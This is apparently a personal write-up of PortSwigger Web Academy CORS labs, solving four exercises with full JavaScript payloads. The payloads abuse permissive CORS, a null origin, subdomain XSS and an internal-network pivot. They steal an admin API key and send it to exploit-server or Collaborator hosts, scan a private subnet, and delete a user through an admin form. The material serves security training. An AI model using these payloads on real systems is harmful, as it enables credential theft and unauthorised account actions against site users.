Home (Portswigger/WebAcademy) - Cross-Origin Resource Sharing (CORS)
Post
Cancel

(Portswigger/WebAcademy) - Cross-Origin Resource Sharing (CORS)

Intro

This post/writeup is all about the Cross-Origin Resource Sharing or simply CORS.

I’ll be using primarily Portswigger Web Academy Labs, but i do intent do throw other labs and writeups here as well.

To learn more on the topic, please visit the article linked above at Portswigger’s.

CORS is a controlled relaxation of the same-origin policy (SOP) and does not protect against CSRF!

TOC

CORS vulnerability with basic origin reflection

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

You can log in to your own account using the following credentials: wiener:peter

When we login using wiener:peter credentials, we’ll get apikey returned which we’re supposed to steal.

picture 1

Mind the response header

1
2
3
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
...

This means that credentials can be sent over different domains. If we add Origin: canary.si, Response will include that domain in CORS

1
Access-Control-Allow-Origin: canary.si

I’ve used following script to achieve that goal:

1
2
3
4
5
<script>
fetch("https://0a4700fd04d5c6d8c0997d1e000b0018.web-security-academy.net/accountDetails",{"credentials":"include"})
.then(res => {return res.json()})
.then(body => { var apikey = body["apikey"]; fetch ("https://exploit-0a7900600492c601c0787c1101bb00b0.exploit-server.net/c="+apikey,{"mode":"no-cors"});})
</script>

picture 2

This is solution proposed from Portswigger which uses XMLHttpRequest():

1
2
3
4
5
6
7
8
9
10
11
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

CORS vulnerability with trusted null origin

This website has an insecure CORS configuration in that it trusts the “null” origin.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

You can log in to your own account using the following credentials: wiener:peter

This web application is just like the previous one, just CORS accepts null origin.

This is the payload that was used

1
2
3
4
5
6
7
8
9
10
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0a5b002b03d66285c15b953900c600c7.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='exploit-0a6b00ee03b062d6c11c940701ad00ca.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>
1
2
3
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>fetch('https://0a6b00ee03b062d6c11c940701ad00ca.web-security-academy.net/accountDetails',{'credentials':'include'})
.then(res => {return res.json()})
.then(body => { var apikey = body['apikey']; fetch ('https://exploit-0a6b00ee03b062d6c11c940701ad00ca.exploit-server.net/c='+apikey,{'mode':'no-cors'});})</script>"></iframe>

CORS vulnerability with trusted insecure protocols

This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

You can log in to your own account using the following credentials: wiener:peterdoc

Login using provided credentials wiener:peter.

picture 3

Notice the Access-Control-Allow-Credentials: true. CORS seems to be in place.

picture 4

If we add Origin pointing to same lab’s subdomain, it will reflect in Access-Control-Allow-Origin header.

We’ll take a note of that and try to find XSS so we can actually exploit CORS setting/vulnerability.

picture 5

Check stock will send a request to http://stock.LAB-ID.web-security-academy.net/?productId=2&storeId=1

XSS is present in productId parameter as it simply reflect the provided “id” in the Error message:

picture 8

Alert fires as expected.

picture 7

Payload:

1
2
3
<script>
    document.location="http://stock.0adc002b04a1979ac0f1efab00aa0062.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0adc002b04a1979ac0f1efab00aa0062.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a1d004d045797b8c041ee4d01fb0039.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

Payload above will be served on our exploit server. For better readability, this is the script that is provided into XSS payload

1
2
3
4
5
6
7
8
9
10
11
12
<script>

var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://0adc002b04a1979ac0f1efab00aa0062.web-security-academy.net/accountDetails',true); 
req.withCredentials = true;req.send();

function reqListener() {
  location='https://exploit-0a1d004d045797b8c041ee4d01fb0039.exploit-server.net/log?key='%2bthis.responseText; 
  };

</script>

Victim should connect to our server unknowingly. We should see an entry with APIKey in our logs.

picture 6

CORS vulnerability with internal network pivot attack

BURP Professional needed (collaborator)

This website has an insecure CORS configuration in that it trusts all internal network origins.

This lab requires multiple steps to complete. To solve the lab, craft some JavaScript to locate an endpoint on the local network (192.168.0.0/24, port 8080) that you can then use to identify and create a CORS-based attack to delete a user. The lab is solved when you delete user Carlos.

This attack will have to be performed in few steps as we need to enumerate first, hence needing more than a single script.

This is the code that will be used to enumerate the internal network. It will be copied to an exploit server and delivered to victim.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<script>
var q = [], collaboratorURL = 'http://jczxolrxtxilgme7dqz1sb1g57byzond.oastify.com';

for(i=1;i<=255;i++) {
	q.push(function(url) {
		return function(wait) {
			fetchUrl(url, wait);
		}
	}('http://192.168.0.'+i+':8080'));
}

for(i=1;i<=20;i++){
	if(q.length)q.shift()(i*100);
}

function fetchUrl(url, wait) {
	var controller = new AbortController(), signal = controller.signal;
	fetch(url, {signal}).then(r => r.text().then(text => {
		location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
	}))
	.catch(e => {
		if(q.length) {
			q.shift()(wait);
		}
	});
	setTimeout(x => {
		controller.abort();
		if(q.length) {
			q.shift()(wait);
		}
	}, wait);
}
</script>

After some time HTTP request should hit our Collaborator instance:

picture 9

Next payload will check for XSS in the username field.

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url, collaboratorURL){
	fetch(url).then(r => r.text().then(text => {
		xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
	}))
}

fetchUrl("http://192.168.0.145:8080", "http://547jg7jjlja7886t5crnkxt2xt3krcf1.oastify.com");
</script>

picture 10

Next payload should leak the admin page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url, collaboratorURL){
	fetch(url).then(r=>r.text().then(text=>
	{
		xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
	}
	))
}

fetchUrl("http://192.168.0.145:8080", "http://2rug346g8gx4v5tqs9ek7ugzkqqhea2z.oastify.com");
</script>

We get a callback

picture 11

In order to delete carlos we need to submit a form (including CSRF value).

Next payload will do exactly that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url){
	fetch(url).then(r=>r.text().then(text=>
	{
	xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
	}
	))
}

fetchUrl("http://192.168.0.145:8080");
</script>

We’re now not expecting a callback but Congratulations, you solved the lab! message!

This post is licensed under CC BY 4.0 by the author.